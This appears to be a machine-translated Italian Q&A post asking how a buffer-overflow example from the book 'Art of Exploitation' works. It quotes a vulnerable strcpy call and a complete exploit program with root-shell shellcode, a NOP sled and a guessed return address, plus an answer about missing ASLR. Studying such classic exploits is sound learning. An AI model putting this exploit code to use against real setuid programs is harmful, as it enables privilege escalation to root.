esempio di overflow del buffer dal libro Art of Exploitation

Question

Stavo leggendo questo libro Art of Exploitation, che è un buon libro e mi imbatto in quell'esempio dal file exploit_notesearch.c.

brevemente autore cerca di traboccare programma dal notesearch.c

int main(int argc, char *argv[]) { 
    int userid, printing=1, fd; 
    char searchstring[100]; 
    if(argc > 1) // If there is an arg 
     strcpy(searchstring, argv[1]); 
    else // otherwise, 
     searchstring[0] = 0; 

L'argomento della funzione principale è copiato nella matrice searchstring e se l'argomento è più grande di 100 byte traboccherà l'indirizzo di ritorno dal funzione principale.

L'autore prepara lo shellcode in exploit_notesearch.c e chiede notesearch.c vulnerabili

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 

int main(int argc, char *argv[]) { 

    unsigned int i, *ptr, ret, offset=270; 
    char *command, *buffer; 

    command = (char *) malloc(200); 
    bzero(command, 200); 

    strcpy(command, "./notesearch \'"); 
    buffer = command + strlen(command); 

    ret = (unsigned int) &i - offset; // Set return address 

    for(i=0; i < 160; i+=4) // Fill buffer with return address 
     *((unsigned int *)(buffer+i)) = ret; 
    memset(buffer, 0x90, 60); // Build NOP sled 
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

    strcat(command, "\'"); 

    system(command); //run exploit 
} 

Si può vedere che shellcode è combinato con NOP slitta e indirizzo, che dovrebbe puntare a che NOP sled tornare. L'autore usa l'indirizzo di una variabile locale i come punto di riferimento e i substrati 270 byte, tentando così di capire la posizione approssimativa della slitta NOP.

Come comprendo l'autore si presuppone che lo stackframe della funzione principale da vulnerabili notesearch.c sarà nello stesso segmento di stack di stackframe della funzione principale da exploit_notesearch.c. Presumo questo perché solo in questo modo questa manipolazione con l'indirizzo della variabile locale posso funzionare.

Ma, l'autore chiama vulnerabili notesearch.c con l'aiuto del sistema() come questo sistema (comando). Il mio punto è che questo sistema di funzioni() da qualche parte all'interno usa fork() per spawnare un processo figlio e successivamente usa la funzione exec() per cambiare l'immagine del processo. Ma se l'immagine è cambiata significa che il segmento dello stack sarà fresco e tutte quelle manipolazioni con indirizzo della variabile locale i nella funzione principale in exploit_notesearch.c saranno inutili, ma in qualche modo questo exploit funziona che è completamente confuso per me.

Answer 1

L'autore assume semplicemente che il compilatore C porrà le pile di questi due programmi allo stesso (o molto simili) virtuale indirizzi e che il sistema operativo non eseguirà address randomization (ASLR). Ciò significa che i frame di stack di entrambe le funzioni principali saranno approssimativamente nella stessa posizione, consentendo questo exploit.

Questo non è un modo molto robusto di sfruttamento, come potete immaginare (probabilmente fallirà nella maggior parte dei moderni sistemi a 64 bit). Gli exploit più robusti potrebbero utilizzare una forma di return oriented programming o provare a utilizzare il puntatore char *argv esistente nel relativo stack frame.